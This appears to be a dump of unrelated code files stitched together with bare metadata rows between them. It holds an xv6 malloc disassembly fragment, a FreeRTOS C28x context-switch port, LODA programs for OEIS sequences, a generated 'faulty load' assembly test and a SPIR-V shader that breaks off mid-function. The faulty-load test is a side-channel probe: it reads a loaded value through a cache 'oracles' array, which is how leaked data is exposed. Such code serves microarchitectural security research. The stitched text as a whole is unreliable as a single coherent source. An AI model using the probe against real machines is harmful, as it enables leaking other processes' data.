8b 45 f4 mov -0xc(%ebp),%eax 879: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 87c: 8b 45 f0 mov -0x10(%ebp),%eax 87f: 8b 55 08 mov 0x8(%ebp),%edx 882: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 885: 8b 45 f0 mov -0x10(%ebp),%eax 888: 83 c0 08 add $0x8,%eax 88b: 83 ec 0c sub $0xc,%esp 88e: 50 push %eax 88f: e8 c8 fe ff ff call 75c <free> 894: 83 c4 10 add $0x10,%esp return freep; 897: a1 68 0c 00 00 mov 0xc68,%eax } 89c: c9 leave 89d: c3 ret 0000089e <malloc>: void* malloc(uint nbytes) { 89e: 55 push %ebp 89f: 89 e5 mov %esp,%ebp 8a1: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 8a4: 8b 45 08 mov 0x8(%ebp),%eax 8a7: 83 c0 07 add $0x7,%eax 8aa: c1 e8 03 shr $0x3,%eax 8ad: 83 c0 01 add $0x1,%eax 8b0: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 8b3: a1 68 0c 00 00 mov 0xc68,%eax 8b8: 89 45 f0 mov %eax,-0x10(%ebp) 8bb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 8bf: 75 23 jne 8e4 <malloc+0x46> base.s.ptr = freep = prevp = &base; 8c1: c7 45 f0 60 0c 00 00 movl $0xc60,-0x10(%ebp) 8c8: 8b 45 f0 mov -0x10(%ebp),%eax 8cb: a3 68 0c 00 00 mov %eax,0xc68 8d0: a1 68 0c 00 00 mov 0xc68,%eax 8d5: a3 60 0c 00 00 mov %eax,0xc60 base.s.size = 0; 8da: c7 05 64 0c 00 00 00 movl $0x0,0xc64 8e1: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 8e4: 8b 45 f0 mov -0x10(%ebp),%eax 8e7: 8b 00 mov (%eax),%eax 8e9: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 8ec: 8b 45 f4 mov -0xc(%ebp),%eax 8ef: 8b 40 04 mov 0x4(%eax),%eax 8f2: 3b 45 ec cmp -0x14(%ebp),%eax 8f5: 72 4d jb 944 <malloc+0xa6> if(p->s.size == nunits) 8f7: 8b 45 f4 mov -0xc(%ebp),%eax 8fa: 8b 40 04 mov 0x4(%eax),%eax 8fd: 3b 45 ec cmp -0x14(%ebp),%eax 900: 75 0c jne 90e <malloc+0x70> prevp->s.ptr = p->s.ptr; 902: 8b 45 f4 mov -0xc(%ebp),%eax 905: 8b 10 mov (%eax),%edx 907: 8b 45 f0 mov -0x10(%ebp),%eax 90a: 89 10 mov %edx,(%eax) 90c: eb 26 jmp 934 <malloc+0x96> else { p->s.size -= nunits; 90e: 8b 45 f4 mov -0xc(%ebp),%eax 911: 8b 40 04 mov 0x4(%eax),%eax 914: 2b 45 ec sub -0x14(%ebp),%eax 917: 89 c2 mov %eax,%edx 919: 8b 45 f4 mov -0xc(%ebp),%eax 91c: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 91f: 8b 45 f4 mov -0xc(%ebp),%eax 922: 8b 40 04 mov 0x4(%eax),%eax 925: c1 e0 03 shl $0x3,%eax 928: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 92b: 8b 45 f4 mov -0xc(%ebp),%eax 92e: 8b 55 ec mov -0x14(%ebp),%edx 931: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 934: 8b 45 f0 mov -0x10(%ebp),%eax 937: a3 68 0c 00 00 mov %eax,0xc68 return (void*)(p + 1); 93c: 8b 45 f4 mov -0xc(%ebp),%eax 93f: 83 c0 08 add $0x8,%eax 942: eb 3b jmp 97f <malloc+0xe1> } if(p == freep) 944: a1 68 0c 00 00 mov 0xc68,%eax 949: 39 45 f4 cmp %eax,-0xc(%ebp) 94c: 75 1e jne 96c <malloc+0xce> if((p = morecore(nunits)) == 0) 94e: 83 ec 0c sub $0xc,%esp 951: ff 75 ec pushl -0x14(%ebp) 954: e8 e5 fe ff ff call 83e <morecore> 959: 83 c4 10 add $0x10,%esp 95c: 89 45 f4 mov %eax,-0xc(%ebp) 95f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 963: 75 07 jne 96c <malloc+0xce> return 0; 965: b8 00 00 00 00 mov $0x0,%eax 96a: eb 13 jmp 97f <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 96c: 8b 45 f4 mov -0xc(%ebp),%eax 96f: 89 45 f0 mov %eax,-0x10(%ebp) 972: 8b 45 f4 mov -0xc(%ebp),%eax 975: 8b 00 mov (%eax),%eax 977: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 97a: e9 6d ff ff ff jmp 8ec <malloc+0x4e> } 97f: c9 leave 980: c3 ret
33.787456
60
0.420171
7e826de9fdaa80074f11b2b4d9edbd74aace8670
7,345
asm
Assembly
Themis_FW_1p0/FreeRTOS/portable/CCS/c28x/porASM.asm
ramok/Themis_ForHPSDR
d0f323a843ac0a488ef816ccb7c828032855a40a
[ "Unlicense" ]
null
null
null
Themis_FW_1p0/FreeRTOS/portable/CCS/c28x/porASM.asm
ramok/Themis_ForHPSDR
d0f323a843ac0a488ef816ccb7c828032855a40a
[ "Unlicense" ]
null
null
null
Themis_FW_1p0/FreeRTOS/portable/CCS/c28x/porASM.asm
ramok/Themis_ForHPSDR
d0f323a843ac0a488ef816ccb7c828032855a40a
[ "Unlicense" ]
1
2021-07-21T08:10:37.000Z
2021-07-21T08:10:37.000Z
;------------------------------------------------------------------------------------------------- ; Author: Ivan Zaitsev, ivan.zaitsev@gmail.com ; ; This file follows the FreeRTOS distribution license. ; ; FreeRTOS is free software; you can redistribute it and/or modify it under ; the terms of the GNU General Public License (version 2) as published by the ; Free Software Foundation >>>> AND MODIFIED BY <<<< the FreeRTOS exception. ; ; *************************************************************************** ; >>! NOTE: The modification to the GPL is included to allow you to !<< ; >>! distribute a combined work that includes FreeRTOS without being !<< ; >>! obliged to provide the source code for proprietary components !<< ; >>! outside of the FreeRTOS kernel. !<< ; *************************************************************************** ; ; FreeRTOS is distributed in the hope that it will be useful, but WITHOUT ANY ; WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS ; FOR A PARTICULAR PURPOSE. Full license text is available on the following ; link: http://www.freertos.org/a00114.html ;------------------------------------------------------------------------------------------------- .ref _pxCurrentTCB .ref _bYield .ref _bPreemptive .ref _ulCriticalNesting .ref _xTaskIncrementTick .ref _vTaskSwitchContext .def _portTICK_ISR .def _portRESTORE_FIRST_CONTEXT .if .TMS320C2800_FPU32 = 1 .def _getSTF _getSTF MOV32 *SP++, STF POP ACC LRETR _portRESTORE_FIRST_CONTEXT ; Restore stack pointer from new task control block. MOVL XAR0, #_pxCurrentTCB MOVL XAR0, *XAR0 MOVL XAR0, *XAR0 MOV @SP, AR0 ; Restore XAR4 and RPC from saved task stack. ; and return to main task function. ; SP should be set to stack start plus 2 before LRETR. SUBB SP, #28 POP XAR4 SUBB SP, #14 POP RPC SUBB SP, #10 LRETR _portTICK_ISR: ; Save context ASP PUSH RB PUSH AR1H:AR0H PUSH RPC MOVL *SP++, XT MOVL *SP++, XAR2 MOVL *SP++, XAR3 MOVL *SP++, XAR4 MOVL *SP++, XAR5 MOVL *SP++, XAR6 MOVL *SP++, XAR7 MOV32 *SP++, STF MOV32 *SP++, R0H MOV32 *SP++, R1H MOV32 *SP++, R2H MOV32 *SP++, R3H MOV32 *SP++, R4H MOV32 *SP++, R5H MOV32 *SP++, R6H MOV32 *SP++, R7H PUSH DP:ST1 ; Save critical section nesting counter MOVL XAR0, #_ulCriticalNesting MOVL ACC, *XAR0 PUSH ACC ; Save stack pointer in the task control block. MOVL XAR0, #_pxCurrentTCB MOVL XAR0, *XAR0 MOVL XAR6, #0 ;set to 0 XAR6 before move the new value of pxTopOfStack MOV AR6, @SP MOVL *XAR0, XAR6 ; Save IER on stack to avoid corruption. ; Depending on stack alignment bit IER can be found in two locations. PUSH ST1 POP AL TBIT AL, #4 SB SPA_BIT_SET, TC MOV AR7, *-SP[46] SB SAVE_IER, UNC SPA_BIT_SET: MOV AR7, *-SP[48] SAVE_IER: MOVL *SP++, XAR7 ; Increment tick counter if timer tick is executed. ; Don't increment if explicitly yielded. MOVL XAR0, #_bYield MOV ACC, *XAR0 SB RESET_YIELD_FLAG, NEQ LCR _xTaskIncrementTick RESET_YIELD_FLAG: ; Save bYield in AR1 and clear it in memory. MOV AR1, ACC MOV ACC, #0 MOV *XAR0, ACC ; Do context switch if bYield=1 or bPreemptive=1 MOVL XAR0, #_bPreemptive MOV ACC, *XAR0 CMPB AL, #0x1 SB CONTEXT_SWITCH, EQ MOV ACC, AR1 CMPB AL, #0x1 SB SKIP_CONTEXT_SWITCH, NEQ CONTEXT_SWITCH: LCR _vTaskSwitchContext SKIP_CONTEXT_SWITCH: ; Restore IER value from stack. MOVL XAR7, *--SP ; Restore stack pointer from new task control block. MOVL XAR0, #_pxCurrentTCB MOVL XAR0, *XAR0 MOVL XAR0, *XAR0 MOV @SP, AR0 ; Restore critical section nesting counter MOVL XAR0, #_ulCriticalNesting POP ACC MOVL *XAR0, ACC ; Update IER value in target context. ; Depending on stack alignment bit IER can be found in two locations. POP DP:ST1 PUSH ST1 POP AL TBIT AL, #4 SB SPA_BIT_SET_RESTORE, TC MOV *-SP[42], AR7 SB RESTORE_CONTEXT, UNC SPA_BIT_SET_RESTORE: MOV *-SP[44], AR7 RESTORE_CONTEXT: MOV32 R7H, *--SP MOV32 R6H, *--SP MOV32 R5H, *--SP MOV32 R4H, *--SP MOV32 R3H, *--SP MOV32 R2H, *--SP MOV32 R1H, *--SP MOV32 R0H, *--SP MOV32 STF, *--SP MOVL XAR7, *--SP ; mov xar7, mmap(@DBGSTAT) MOVL XAR6, *--SP MOVL XAR5, *--SP MOVL XAR4, *--SP MOVL XAR3, *--SP MOVL XAR2, *--SP MOVL XT, *--SP POP RPC POP AR1H:AR0H POP RB NASP IRET .else _portRESTORE_FIRST_CONTEXT ; Restore stack pointer from new task control block. MOVL XAR0, #_pxCurrentTCB MOVL XAR0, *XAR0 MOVL XAR0, *XAR0 MOV @SP, AR0 ; Restore XAR4 and RPC from saved task stack. ; and return to main task function. ; SP should be set to stack start plus 2 before LRETR. SUBB SP, #10 POP XAR4 SUBB SP, #12 POP RPC SUBB SP, #10 LRETR _portTICK_ISR: ; Save context ASP PUSH AR1H:AR0H PUSH RPC MOVL *SP++, XT MOVL *SP++, XAR2 MOVL *SP++, XAR3 MOVL *SP++, XAR4 MOVL *SP++, XAR5 MOVL *SP++, XAR6 MOVL *SP++, XAR7 PUSH DP:ST1 ; Save critical section nesting counter MOVL XAR0, #_ulCriticalNesting MOVL ACC, *XAR0 PUSH ACC ; Save stack pointer in the task control block. MOVL XAR0, #_pxCurrentTCB MOVL XAR0, *XAR0 MOVL XAR6, #0 ;set to 0 XAR6 before move the new value of pxTopOfStack MOV AR6, @SP MOVL *XAR0, XAR6 ; Save IER on stack to avoid corruption. PUSH ST1 POP AL TBIT AL, #4 SB SPA_BIT_SET, TC MOV AR7, *-SP[26] SB SAVE_IER, UNC SPA_BIT_SET: MOV AR7, *-SP[28] SAVE_IER: MOVL *SP++, XAR7 ; Increment tick counter if timer tick is executed. ; Don't increment if explicitly yielded. MOVL XAR0, #_bYield MOV ACC, *XAR0 SB RESET_YIELD_FLAG, NEQ LCR _xTaskIncrementTick RESET_YIELD_FLAG: ; Save bYield in AR1 and clear it in memory. MOV AR1, ACC MOV ACC, #0 MOV *XAR0, ACC ; Do context switch if bYield=1 or bPreemptive=1 MOVL XAR0, #_bPreemptive MOV ACC, *XAR0 CMPB AL, #0x1 SB CONTEXT_SWITCH, EQ MOV ACC, AR1 CMPB AL, #0x1 SB SKIP_CONTEXT_SWITCH, NEQ CONTEXT_SWITCH: LCR _vTaskSwitchContext SKIP_CONTEXT_SWITCH: ; Restore IER value from stack. MOVL XAR7, *--SP ; Restore stack pointer from new task control block. MOVL XAR0, #_pxCurrentTCB MOVL XAR0, *XAR0 MOVL XAR0, *XAR0 MOV @SP, AR0 ; Restore critical section nesting counter MOVL XAR0, #_ulCriticalNesting POP ACC MOVL *XAR0, ACC ; Update IER value in target context. POP DP:ST1 PUSH ST1 POP AL TBIT AL, #4 SB SPA_BIT_SET_RESTORE, TC MOV *-SP[22], AR7 SB RESTORE_CONTEXT, UNC SPA_BIT_SET_RESTORE: MOV *-SP[24], AR7 RESTORE_CONTEXT: MOVL XAR7, *--SP MOVL XAR6, *--SP MOVL XAR5, *--SP MOVL XAR4, *--SP MOVL XAR3, *--SP MOVL XAR2, *--SP MOVL XT, *--SP POP RPC POP AR1H:AR0H NASP IRET .endif
23.770227
98
0.597822
0d0e86cdc83794750dcdcfdcb77cdc4c11014968
874
asm
Assembly
programs/oeis/224/A224790.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/224/A224790.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/224/A224790.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A224790: a(n) = 3*9^n + 8. ; 11,35,251,2195,19691,177155,1594331,14348915,129140171,1162261475,10460353211,94143178835,847288609451,7625597484995,68630377364891,617673396283955,5559060566555531,50031545098999715,450283905890997371,4052555153018976275,36472996377170786411,328256967394537077635,2954312706550833698651,26588814358957503287795,239299329230617529590091,2153693963075557766310755,19383245667680019896796731,174449211009120179071170515,1570042899082081611640534571,14130386091738734504764811075,127173474825648610542883299611,1144561273430837494885949696435,10301051460877537453973547267851,92709463147897837085761925410595,834385168331080533771857328695291,7509466514979724803946715958257555,67585198634817523235520443624317931,608266787713357709119683992618861315 mul $0,2 mov $1,3 lpb $0 sub $0,1 mov $2,$1 mul $1,2 add $1,$2 lpe add $1,8 mov $0,$1
62.428571
749
0.881007
55f48e2e1ecf157d3b9abea55f3fc6d7288b6849
875
asm
Assembly
programs/oeis/168/A168570.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/168/A168570.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/168/A168570.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A168570: Exponent of 3 in 2^n - 1. ; 0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,3,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,3,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,4,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,3,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,3,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,4,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,3,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,3,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,5,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,3,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,3,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,4,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1,0,3,0,1,0,1,0,2,0,1,0,1,0,2,0,1,0,1 mov $6,$0 mov $8,2 lpb $8,1 clr $0,6 mov $0,$6 sub $8,1 add $0,$8 sub $0,1 mov $1,$0 add $1,$0 mov $3,$0 lpb $1,1 div $1,4 sub $3,$1 lpb $3,1 add $4,$3 div $3,3 lpe lpe mov $1,$4 mov $9,$8 lpb $9,1 mov $7,$1 sub $9,1 lpe lpe lpb $6,1 mov $6,0 trn $7,$1 lpe mov $1,$7
25
501
0.477714
2ba9d4f1340f764c51682cd0a25c9a93f1386af7
672
asm
Assembly
oeis/117/A117902.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/117/A117902.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/117/A117902.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A117902: Expansion of (1-x^2-2x^3)/(1-4x^3). ; Submitted by Jamie Morken(s2) ; 1,0,-1,2,0,-4,8,0,-16,32,0,-64,128,0,-256,512,0,-1024,2048,0,-4096,8192,0,-16384,32768,0,-65536,131072,0,-262144,524288,0,-1048576,2097152,0,-4194304,8388608,0,-16777216,33554432,0,-67108864,134217728,0,-268435456,536870912,0,-1073741824,2147483648,0,-4294967296,8589934592,0,-17179869184,34359738368,0,-68719476736,137438953472,0,-274877906944,549755813888,0,-1099511627776,2199023255552,0,-4398046511104,8796093022208,0,-17592186044416,35184372088832,0,-70368744177664,140737488355328,0 mul $0,2 seq $0,78029 ; Expansion of (1-x)/(1-2*x^3). add $1,$0 sub $1,2 div $1,2 add $1,1 mov $0,$1
56
490
0.74256
927b70b708c814207a7c200d69fa426b0a83c4f1
787
asm
Assembly
oeis/071/A071679.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/071/A071679.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/071/A071679.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A071679: Least k such that the maximum number of elements among the continued fractions for k/1, k/2, k/3, k/4 ...., k/k equals n. ; Submitted by Jamie Morken(s2.) ; 1,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946,17711,28657,46368,75025,121393,196418,317811,514229,832040,1346269,2178309,3524578,5702887,9227465,14930352,24157817,39088169,63245986,102334155,165580141,267914296,433494437,701408733,1134903170,1836311903,2971215073,4807526976,7778742049,12586269025,20365011074,32951280099,53316291173,86267571272,139583862445,225851433717,365435296162,591286729879,956722026041,1548008755920,2504730781961,4052739537881,6557470319842 mov $3,1 lpb $0 sub $0,1 add $3,$1 add $1,$2 trn $1,$3 add $2,$3 mov $3,1 lpe mul $2,2 add $2,$1 mov $0,$2 add $0,1
43.722222
491
0.772554
7391b32642ee28f87cc7022f29bfc34fa3ccec21
2,590
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_3_254.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_3_254.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_3_254.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %rbp push %rcx lea addresses_A_ht+0x13dc1, %rcx nop nop nop sub %r12, %r12 mov (%rcx), %r10d cmp $23091, %rbp pop %rcx pop %rbp pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %rbp push %rbx push %rcx push %rdx // Load lea addresses_A+0x1f5fd, %rcx nop nop nop nop nop dec %rdx mov (%rcx), %r10w nop nop nop nop sub %rcx, %rcx // Load lea addresses_RW+0x195fd, %r14 nop nop xor $58202, %rbp vmovaps (%r14), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %rcx nop sub %r14, %r14 // Load mov $0x2605bc0000000ffd, %rdx nop nop nop xor %rbx, %rbx movups (%rdx), %xmm4 vpextrq $0, %xmm4, %r10 nop nop nop nop and %r14, %r14 // Load mov $0xb03, %rbx nop nop nop cmp $29839, %rbp mov (%rbx), %r12d nop nop nop nop nop inc %r14 // Load lea addresses_RW+0x91a9, %rbx nop nop nop sub %r14, %r14 vmovaps (%rbx), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rbp nop nop nop nop nop cmp $40030, %rcx // Store lea addresses_PSE+0x1855d, %rbp add %rcx, %rcx mov $0x5152535455565758, %r14 movq %r14, (%rbp) nop nop nop nop nop inc %r12 // Faulty Load lea addresses_WT+0x195fd, %rdx nop nop nop nop nop add %rbp, %rbp mov (%rdx), %r10w lea oracles, %rbx and $0xff, %r10 shlq $12, %r10 mov (%rbx,%r10,1), %r10 pop %rdx pop %rcx pop %rbx pop %rbp pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_P'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'39': 3} 39 39 39 */
17.152318
122
0.634749
58f4d39604c0021aeb087b9c9d1ba761de701a00
9,266
asm
Assembly
coverage/IN_CTS/0489-COVERAGE-nir-opt-loop-unroll-83/work/variant/1_spirv_asm/shader.frag.asm
asuonpaa/ShaderTests
6a3672040dcfa0d164d313224446496d1775a15e
[ "Apache-2.0" ]
null
null
null
coverage/IN_CTS/0489-COVERAGE-nir-opt-loop-unroll-83/work/variant/1_spirv_asm/shader.frag.asm
asuonpaa/ShaderTests
6a3672040dcfa0d164d313224446496d1775a15e
[ "Apache-2.0" ]
47
2021-03-11T07:42:51.000Z
2022-03-14T06:30:14.000Z
coverage/IN_CTS/0489-COVERAGE-nir-opt-loop-unroll-83/work/variant/1_spirv_asm/shader.frag.asm
asuonpaa/ShaderTests
6a3672040dcfa0d164d313224446496d1775a15e
[ "Apache-2.0" ]
4
2021-03-09T13:37:19.000Z
2022-02-25T07:32:11.000Z
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 176 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %85 %157 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %10 "func0(i1;" OpName %9 "x" OpName %12 "func1(" OpName %18 "m" OpName %33 "buf2" OpMemberName %33 0 "one" OpName %35 "" OpName %43 "buf0" OpMemberName %43 0 "_GLF_uniform_float_values" OpName %45 "" OpName %61 "i" OpName %85 "gl_FragCoord" OpName %93 "param" OpName %100 "buf1" OpMemberName %100 0 "_GLF_uniform_int_values" OpName %102 "" OpName %157 "_GLF_color" OpMemberDecorate %33 0 Offset 0 OpDecorate %33 Block OpDecorate %35 DescriptorSet 0 OpDecorate %35 Binding 2 OpDecorate %42 ArrayStride 16 OpMemberDecorate %43 0 Offset 0 OpDecorate %43 Block OpDecorate %45 DescriptorSet 0 OpDecorate %45 Binding 0 OpDecorate %85 BuiltIn FragCoord OpDecorate %99 ArrayStride 16 OpMemberDecorate %100 0 Offset 0 OpDecorate %100 Block OpDecorate %102 DescriptorSet 0 OpDecorate %102 Binding 1 OpDecorate %157 Location 0 %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeInt 32 1 %7 = OpTypePointer Function %6 %8 = OpTypeFunction %2 %7 %14 = OpTypeFloat 32 %15 = OpTypeVector %14 2 %16 = OpTypeMatrix %15 4 %17 = OpTypePointer Private %16 %18 = OpVariable %17 Private %19 = OpConstant %14 0 %20 = OpConstantComposite %15 %19 %19 %21 = OpConstantComposite %16 %20 %20 %20 %20 %22 = OpTypeBool %24 = OpConstant %6 1 %33 = OpTypeStruct %14 %34 = OpTypePointer Uniform %33 %35 = OpVariable %34 Uniform %36 = OpConstant %6 0 %37 = OpTypePointer Uniform %14 %40 = OpTypeInt 32 0 %41 = OpConstant %40 1 %42 = OpTypeArray %14 %41 %43 = OpTypeStruct %42 %44 = OpTypePointer Uniform %43 %45 = OpVariable %44 Uniform %68 = OpConstant %6 2 %71 = OpConstant %6 3 %76 = OpTypePointer Private %14 %83 = OpTypeVector %14 4 %84 = OpTypePointer Input %83 %85 = OpVariable %84 Input %86 = OpTypePointer Input %14 %98 = OpConstant %40 4 %99 = OpTypeArray %6 %98 %100 = OpTypeStruct %99 %101 = OpTypePointer Uniform %100 %102 = OpVariable %101 Uniform %103 = OpTypePointer Uniform %6 %128 = OpConstant %14 1 %136 = OpTypeVector %22 2 %156 = OpTypePointer Output %83 %157 = OpVariable %156 Output %4 = OpFunction %2 None %3 %5 = OpLabel OpStore %18 %21 %95 = OpFunctionCall %2 %12 %96 = OpFunctionCall %2 %12 %97 = OpLoad %16 %18 %104 = OpAccessChain %103 %102 %36 %36 %105 = OpLoad %6 %104 %106 = OpConvertSToF %14 %105 %107 = OpAccessChain %103 %102 %36 %36 %108 = OpLoad %6 %107 %109 = OpConvertSToF %14 %108 %110 = OpAccessChain %103 %102 %36 %24 %111 = OpLoad %6 %110 %112 = OpConvertSToF %14 %111 %113 = OpAccessChain %103 %102 %36 %24 %114 = OpLoad %6 %113 %115 = OpConvertSToF %14 %114 %116 = OpAccessChain %103 %102 %36 %36 %117 = OpLoad %6 %116 %118 = OpConvertSToF %14 %117 %119 = OpAccessChain %103 %102 %36 %36 %120 = OpLoad %6 %119 %121 = OpConvertSToF %14 %120 %122 = OpAccessChain %103 %102 %36 %36 %123 = OpLoad %6 %122 %124 = OpConvertSToF %14 %123 %125 = OpAccessChain %103 %102 %36 %36 %126 = OpLoad %6 %125 %127 = OpConvertSToF %14 %126 %129 = OpCompositeConstruct %15 %106 %109 %130 = OpCompositeConstruct %15 %112 %115 %131 = OpCompositeConstruct %15 %118 %121 %132 = OpCompositeConstruct %15 %124 %127 %133 = OpCompositeConstruct %16 %129 %130 %131 %132 %134 = OpCompositeExtract %15 %97 0 %135 = OpCompositeExtract %15 %133 0 %137 = OpFOrdEqual %136 %134 %135 %138 = OpAll %22 %137 %139 = OpCompositeExtract %15 %97 1 %140 = OpCompositeExtract %15 %133 1 %141 = OpFOrdEqual %136 %139 %140 %142 = OpAll %22 %141 %143 = OpLogicalAnd %22 %138 %142 %144 = OpCompositeExtract %15 %97 2 %145 = OpCompositeExtract %15 %133 2 %146 = OpFOrdEqual %136 %144 %145 %147 = OpAll %22 %146 %148 = OpLogicalAnd %22 %143 %147 %149 = OpCompositeExtract %15 %97 3 %150 = OpCompositeExtract %15 %133 3 %151 = OpFOrdEqual %136 %149 %150 %152 = OpAll %22 %151 %153 = OpLogicalAnd %22 %148 %152 OpSelectionMerge %155 None OpBranchConditional %153 %154 %171 %154 = OpLabel %158 = OpAccessChain %103 %102 %36 %71 %159 = OpLoad %6 %158 %160 = OpConvertSToF %14 %159 %161 = OpAccessChain %103 %102 %36 %36 %162 = OpLoad %6 %161 %163 = OpConvertSToF %14 %162 %164 = OpAccessChain %103 %102 %36 %36 %165 = OpLoad %6 %164 %166 = OpConvertSToF %14 %165 %167 = OpAccessChain %103 %102 %36 %71 %168 = OpLoad %6 %167 %169 = OpConvertSToF %14 %168 %170 = OpCompositeConstruct %83 %160 %163 %166 %169 OpStore %157 %170 OpBranch %155 %171 = OpLabel %172 = OpAccessChain %103 %102 %36 %36 %173 = OpLoad %6 %172 %174 = OpConvertSToF %14 %173 %175 = OpCompositeConstruct %83 %174 %174 %174 %174 